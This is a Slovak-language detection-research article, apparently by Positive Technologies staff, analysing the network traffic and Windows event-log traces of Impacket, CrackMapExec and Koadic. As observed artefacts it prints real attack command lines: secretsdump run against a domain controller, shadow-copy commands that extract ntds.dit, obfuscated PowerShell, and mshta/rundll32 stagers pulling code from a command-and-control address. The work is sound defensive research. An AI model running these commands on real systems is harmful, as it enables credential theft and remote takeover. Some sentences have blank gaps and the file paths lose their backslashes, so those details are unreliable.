Každým rokom narastá počet útokov v korporátnom sektore: napríklad ako v roku 2016, a na konci roku 2018 — , ako v predchádzajúcom období. Medzi nimi sú aj tie, kde je hlavným pracovným nástrojom operačný systém Windows. V rokoch 2017–2018 skupiny APT Dragonfly, APT28, vykonávali útoky na vládne a vojenské organizácie v Európe, Severnej Amerike a Saudskej Arábii. A na to použili tri nástroje — , a . Ich zdrojový kód je otvorený a dostupný na GitHub.
Je potrebné poznamenať, že tieto nástroje sa nepoužívajú na počiatočné prenikanie, ale na rozvoj útoku v rámci infraštruktúry. Útočníci ich používajú v rôznych fázach útoku, ktoré nasledujú po prekonaní perimetru. To sa, mimochodom, ťažko deteguje a často len s pomocou technológií alebo nástrojov, ktoré umožňujú . Nástroje poskytujú množstvo funkcií — od prenosu súborov po interakciu s registrom a vykonávanie príkazov na vzdialenom počítači. Urobili sme prieskum týchto nástrojov, aby sme určili ich sieťovú aktivitu.
Čo sme potrebovali urobiť:
- Pochopiť, ako funguje hackerský toolbox. Zistiť, čo útočníkom treba na zneužitie a aké technológie môžu využiť.
- Nájsť to, čo nie je detegované prostriedkami informačnej bezpečnosti v počiatočných fázach útoku. Fáza prieskumu môže byť vynechaná, či už preto, že útočníkom je vnútorný narušiteľ, alebo preto, že útočník využíva zraniteľnosť v infraštruktúre, o ktorej sa predtým nevedelo. Vzniká možnosť obnoviť celú reťaz jeho činností, odtiaľ vyvstáva túžba odhaľovať ďalší pohyb.
- Odstrániť falošné poplachy prostriedkov na detekciu vniknutíTreba mať na pamäti, že pri objavení takýchto akcií len na základe špionáže môžu vzniknúť časté chyby. Vo väčšine infraštruktúr existuje dostatok spôsobov, ako získať nejaké informácie, ktoré na prvý pohľad vyzerajú legitímne.
Aké výhody prinášajú tieto nástroje útočníkom? Ak ide o Impacket, zločinci získavajú rozsiahlu knižnicu modulov, ktoré môžu byť použité v rôznych fázach útoku, ktoré nasledujú po prekročení perimetra. Mnohé nástroje používajú moduly Impacket vo svojej vnútornej štruktúre — napríklad Metasploit. Obsahuje dcomexec a wmiexec na vzdialené vykonávanie príkazov, secretsdump na získavanie účtov z pamäte, ktoré sú pridané z Impacket. Nakoniec, správne zistenie aktivity takejto knižnice zabezpečí aj zistenie odvodených aktivít.
O CrackMapExec (alebo jednoducho CME) autori ne náhodou uviedli "Powered by Impacket". Okrem toho, CME obsahuje hotovú funkcionalitu pre populárne scenáre: je to Mimikatz na získavanie hesiel alebo ich hashov, a implantácia Meterpreter alebo Empire agent na vzdialené vykonávanie, a Bloodhound je súčasťou.
Tretí zvolený nástroj — Koadic. Je pomerne nový, bol predstavený na medzinárodnej hackerskej konferencii DEFCON 25 v roku 2017 a vyniká netradičným prístupom: pracuje cez HTTP, Java Script a Microsoft Visual Basic Script (VBS). Tento prístup sa nazýva living off the land: nástroj využíva sadu závislostí a knižníc zabudovaných do Windows. Tvorcovia ho nazývajú COM Command & Control, alebo C3.
IMPACKET
Funkcionalita Impacket je veľmi široká, začínajúc od špionáže v AD a zbierania údajov z interných serverov MS SQL, končiac technikami na získanie prihlasovacích údajov: to zahŕňa útok SMB relay a získanie súboru ntds.dit z doménového kontroléra, ktorý obsahuje hashe hesiel používateľov. Tiež Impacket vzdialene vykonáva príkazy, a to štyrmi rôznymi spôsobmi: cez WMI, službu na správu plánovača Windows, DCOM a SMB, pričom na to potrebuje prihlasovacie údaje.
Secretsdump
Poďme sa pozrieť na secretsdump. Tento modul môže mať za cieľ ako počítače používateľov, tak aj doménové kontroléry. S jeho pomocou je možné získať kópie pamätových oblastí LSA, SAM, SECURITY, NTDS.dit, takže ho môžeme vidieť v rôznych fázach útoku. Prvým krokom pri práci modulu je autentifikácia prostredníctvom SMB, na čo je potrebné buď heslo používateľa, alebo jeho hash na automatizované vykonávanie útoku Pass the Hash. Následne prichádza požiadavka na otvorenie prístupu k Service Control Manager (SCM) a získanie prístupu do registra prostredníctvom protokolu winreg, pričom útočník môže získať informácie o zaujímavých vetvách a získať výsledky prostredníctvom SMB.
Na obr. 1 vidíme, ako prebieha získanie prístupu k registračnému kľúču s LSA pri použití protokolu winreg. Na to sa využíva príkaz DCERPC s opcode 15 — OpenKey.

Obr. 1. Otvorenie registračného kľúča prostredníctvom protokolu winreg
Ďalej, keď je prístup k kľúču získaný, dochádza k uloženiu hodnôt príkazom SaveKey s opcode 20. Impacket to robí pomerne špecificky. Ukladá hodnoty do súboru, ktorého názov je reťazec zo 8 náhodných znakov s pridaním .tmp. Okrem toho sa ďalšie vyprázdnenie tohto súboru uskutočňuje prostredníctvom SMB z adresára System32 (obr. 2).

Obr. 2. Schéma získania registračného kľúča z diaľkového počítača
Takže, identifikovať takúto činnosť v sieti je možné podľa požiadaviek na určité vetvy registra prostredníctvom protokolu winreg, špecifických názvov, príkazov a ich poradia.
Tento modul taktiež zanecháva stopy v protokole udalostí Windows, vďaka ktorým je ľahko identifikovateľný. Napríklad, v dôsledku vykonania príkazu
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCv protokole Windows Server 2016 uvidíme nasledujúcu kľúčovú sekvenciu udalostí:
1. 4624 — vzdialené prihlásenie.
2. 5145 — overenie prístupových práv k vzdialenej službe winreg.
3. 5145 — overenie prístupových práv k súboru v adresári System32. Súbor má náhodné meno, ako je uvedené vyššie.
4. 4688 — vytvorenie procesu cmd.exe, ktorý spúšťa vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — vytvorenie procesu s príkazom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — vytvorenie procesu s príkazom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — vytvorenie procesu s príkazom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Rovnako ako mnoho nástrojov pre post-exploitáciu, aj Impacket má moduly na vzdialené vykonávanie príkazov. Zameriame sa na smbexec, ktorý poskytuje interaktívny príkazový riadok na vzdialenom stroji. Tento modul taktiež vyžaduje autentifikáciu cez SMB, buď heslom, alebo jeho hashom. Na obr. 3 vidíme príklad fungovania takého nástroja, v tomto prípade ide o konzolu lokálneho administrátora.

Obr. 3. Interaktívna konzola smbexec
Prvým krokom práce smbexec po autentifikácii je otvorenie SCM príkazom OpenSCManagerW (15). Požiadavka je pozoruhodná: v nej pole MachineName má hodnotu DUMMY.

Obr. 4. Požiadavka na otvorenie Service Control Manager
Následne sa vytvorí služba pomocou príkazu CreateServiceW (12). V prípade smbexec vidíme zakaždým rovnakú logiku zostavovania príkazu. Na obr. 5 sú zelenou farbou označené nemenné parametre príkazu, žltou — to, čo môže útočník zmeniť. Nie je ťažké si všimnúť, že názov spustiteľného súboru, jeho adresár a súbor output je možné zmeniť, ale zmenu zvyšku je oveľa zložitejšie uskutočniť bez narušenia logiky práce modulu Impacket.

Obr. 5. Požiadavka na vytvorenie služby pomocou Service Control Manager
Smbexec taktiež zanecháva jasné stopy v protokole udalostí Windows. V protokole Windows Server 2016 pre interaktívny príkazový riadok s príkazom ipconfig uvidíme nasledujúcu kľúčovú sekvenciu udalostí:
1. 4697 — inštalácia služby na stroji obete:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — vytvorenie procesu cmd.exe s argumentmi z bodu 1.
3. 5145 — kontrola prístupových práv k súboru __output v adresári C$.
4. 4697 — inštalácia služby na stroji obete.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — vytvorenie procesu cmd.exe s argumentami z bodu 4.
6. 5145 — kontrola prístupových práv k súboru __output v adresári C$.
Impacket je základom pre vývoj nástrojov na útoky. Podporuje takmer všetky protokoly v infraštruktúre Windows a má svoje charakteristické rysy. Tu sú konkrétne winreg dotazy, používanie SCM API s charakteristickým formovaním príkazov, formát názvov súborov a SMB share SYSTEM32.
CRACKMAPEXEC
Nástroj CME má za cieľ predovšetkým automatizovať rutinné úkony, ktoré musí útočník vykonávať na postúpenie v rámci siete. Umožňuje spoluprácu s známejšími Empire agent a Meterpreter. Aby vykonával príkazy skryte, CME ich môže obfuskovať. Použitím Bloodhound (samostatného nástroja na prieskum) môže útočník automatizovať vyhľadávanie aktívnej relácie doménového administrátora.
Bloodhound
Bloodhound ako samostatný nástroj umožňuje vykonávať pokročilý prieskum v rámci siete. Zhromažďuje údaje o používateľoch, strojoch, skupinách a reláciách a dodáva sa vo forme skriptu na PowerShell alebo binárneho súboru. Na zhromažďovanie informácií sa používajú LDAP alebo protokoly založené na SMB. Integračný modul CME umožňuje nahrávať Bloodhound na stroj obete, spúšťať ho a zbierať údaje po vykonaní, čím automatizuje akcie v systéme a robí ich menej nápadnými. Grafické rozhranie Bloodhound predstavuje zhromaždené údaje v podobe grafov, čo umožňuje nájsť najkratšiu cestu od stroja útočníka k doménovému administrátorovi.

Obr. 6. Rozhranie Bloodhound
Na spustenie na stroji obete modul vytvára úlohu pomocou ATSVC a SMB. ATSVC je rozhraním pre prácu s plánovačom úloh Windows. CME používa jeho funkciu NetrJobAdd (1) na vytváranie úloh cez sieť. Príklad toho, čo odosiela modul CME, je zobrazený na obr. 7: je to vyvolanie príkazu cmd.exe a obfuskovaný kód v podobe argumentov v formáte XML.

Obr. 7. Vytvorenie úlohy cez CME
Po prijatí úlohy na vykonanie, stroj obete spúšťa samotný Bloodhound, čo je viditeľné v sieťovom prenosu. Pre modul sú charakteristické LDAP dopyty na získanie štandardných skupín, zoznamu všetkých strojov a používateľov v doméne, získanie informácií o aktívnych používateľských reláciách cez dopyt SRVSVC NetSessEnum.

Obr. 8. Získanie zoznamu aktívnych relácií cez SMB
Okrem toho spustenie Bloodhound na strojnej obeti so zapnutou auditom je sprevádzané udalosťou s ID 4688 (vytvorenie procesu) a názvom procesu «C:WindowsSystem32cmd.exe». Pozoruhodné sú argumenty príkazového riadku:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101, 116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
Z hľadiska funkčnosti a implementácie je modul enum_avproducts veľmi zaujímavý. WMI umožňuje pomocou jazyka dopytov WQL získavať údaje z rôznych objektov systému Windows, čím sa tento modul CME prakticky využíva. Generuje dopyty k triedam AntiSpywareProduct a AntiМirusProduct o ochranných prostriedkoch nainštalovaných na strojnej obeti. Aby získal potrebné údaje, modul sa pripojí k priestoru mien rootSecurityCenter2, následne vytvorí WQL dopyt a získa odpoveď. Na obr. 9 je zobrazený obsah takýchto dopytov a odpovedí. V našom príklade bol nájdený Windows Defender.

Obr. 9. Sieťová aktivita modulu enum_avproducts
Často môže byť audit WMI (Trace WMI-Activity), v ktorom sú dostupné užitočné informácie o WQL dopytoch, vypnutý. Ale ak je zapnutý, pri spustení skriptu enum_avproducts sa uchová udalosť s ID 11. Bude obsahovať meno používateľa, ktorý odoslal dopyt, a meno v priestore mien rootSecurityCenter2.
Každý z modulov CME mal svoje artefakty, či už špecifické WQL dopyty alebo vytvorenie určitých typov úloh v plánovači úloh s obfuskáciou a pre Bloodhound charakteristickú aktivitu v LDAP a SMB.
KOADIC
Rozlišujúcou črtou Koadic je využitie vstavaných interpretátorov JavaScript a VBScript v systéme Windows. V tomto smere nasleduje trend living off the land — teda nemá vonkajšie závislosti a používa štandardné prostriedky Windows. Je to nástroj pre kompletné Command & Control (CnC), pretože po infekcii sa na stroj inštaluje „implanta“, ktorý umožňuje jeho kontrolu. Taký stroj je v terminológii Koadic označovaný ako „zombík“. Pri nedostatku oprávnení na riadnu prácu na strane obete má Koadic možnosť ich zvýšiť pomocou techník obchádzania kontroly používateľských účtov (UAC bypass).

Obr. 10. Príkazový shell Koadic
Obeť musí sama iniciovať komunikáciu so serverom Command & Control. Na to sa musí prihlásiť prostredníctvom vopred pripraveného URI a získať základné telo Koadic pomocou jedného z stagerov. Na obr. 11 je zobrazený príklad pre stager mshta.

Obr. 11. Inicializácia relácie s CnC serverom
Podľa premennej WS v odpovedi sa dá zistiť, že vykonanie prebieha cez WScript.Shell, pričom premenné STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE obsahujú kľúčové informácie o parametroch aktuálnej relácie. Toto je prvý pár požiadavka-odpoveď v HTTP pripojení s CnC serverom. Nasledujúce požiadavky sú priamo spojené s funkčnosťou vyvolaných modulov (implantátov). Všetky moduly Koadic fungujú iba s aktívnou reláciou s CnC.
Mimikatz
Rovnako ako CME pracuje s Bloodhoundom, Koadic pracuje s Mimikatz ako s oddeleným programom a má niekoľko spôsobov jej spustenia. Nižšie je uvedený pár požiadavka-odpoveď na načítanie implantátu Mimikatz.

Obr. 12. Prenos Mimikatz do Koadic
Môžeme spozorovať, ako sa zmenil formát URI v požiadavke. Objavila sa hodnota pre premennú csrf, ktorá je zodpovedná za zvolený modul. Nevenujte pozornosť jej názvu; všetci vieme, čo sa obvykle chápe pod CSRF. V odpovedi prišlo všetko to isté základné telo Koadic, do ktorého sa pridala kód súvisiaci s Mimikatz. Je dostatočne veľký, preto sa pozrieme na kľúčové momenty. Pred nami je zakódovaná v base64 knižnica Mimikatz, serializovaná .NET trieda, ktorá ju bude injektovať, a argumenty na spustenie Mimikatz. Výsledok vykonania sa prenáša cez sieť v otvorenom formáte.

Obr. 13. Výsledok vykonania Mimikatz na vzdialenom zariadení
Exec_cmd
V Koadic sú tiež moduly schopné vykonávať príkazy na diaľku. Tu uvidíme ten istý spôsob generovania URI a známe premenné sid a csrf. V prípade modulu exec_cmd sa do tela pridáva kód, ktorý dokáže vykonávať shell príkazy. Nižšie je uvedený takýto kód obsiahnutý v HTTP odpovedi CnC servera.

Obr. 14. Kód implantátu exec_cmd
Premenná GAWTUUGCFI so známym atribútom WS je potrebná na vykonanie kódu. S ňou implantát volá shell, spracovávajúc dve vetvy kódu — shell.exec s vrátením výstupného toku dát a shell.run bez vrátenia.
Koadic nie je typický nástroj, ale má svoje artefakty, podľa ktorých ho možno nájsť v legitímnom trafaiku:
- špeciálne formovanie HTTP požiadaviek,
- použitie winHttpRequests API,
- vytvorenie objektu WScript.Shell prostredníctvom ActiveXObject,
- veľké vykonateľné telo.
Počiatočné spojenie iniciuje stager, čo umožňuje detekovať jeho aktivitu prostredníctvom udalostí Windows. Pre mshta je táto udalosť 4688, ktorá hovorí o vytvorení procesu s atribútom spustenia:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Počas spúšťania Koadic sa možno stretnúť aj s inými udalosťami 4688 s atribútmi, ktoré ho dobre charakterizujú:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1>C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1>C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Zhrnutie
Trendy living off the land sa stávajú čoraz populárnejšie medzi útočníkmi. Využívajú zabudované nástroje a mechanizmy systému Windows pre svoje potreby. Vidíme, ako obľúbené nástroje Koadic, CrackMapExec a Impacket, ktoré dodržiavajú tento princíp, sa čoraz častejšie objavujú v správach o APT. Počet forkov týchto nástrojov na GitHub-e tiež rastie, objavujú sa nové (v súčasnosti ich je okolo tisíca). Trend rastie vďaka svojej jednoduchej implementácii: útočníci nepotrebujú externé nástroje, tie už existujú na strojoch obetí a pomáhajú obchádzať ochranné prostriedky. Zameriavame sa na skúmanie sieťovej interakcie: každý z vyššie uvedených nástrojov zanecháva svoje stopy v sieťovej prevádzke; podrobné skúmanie ich umožnilo naučiť náš produkt ich detekciu, čo nakoniec pomáha pri vyšetrovaní celého reťazca kyberincidentov s ich účasťou.
Autori:
- Anton Tyurin, vedúci oddelenia odborných služieb, PT Expert Security Center, Positive Technologies
- Egor Podmokov, expert, PT Expert Security Center, Positive Technologies
Zdroj: habr.com
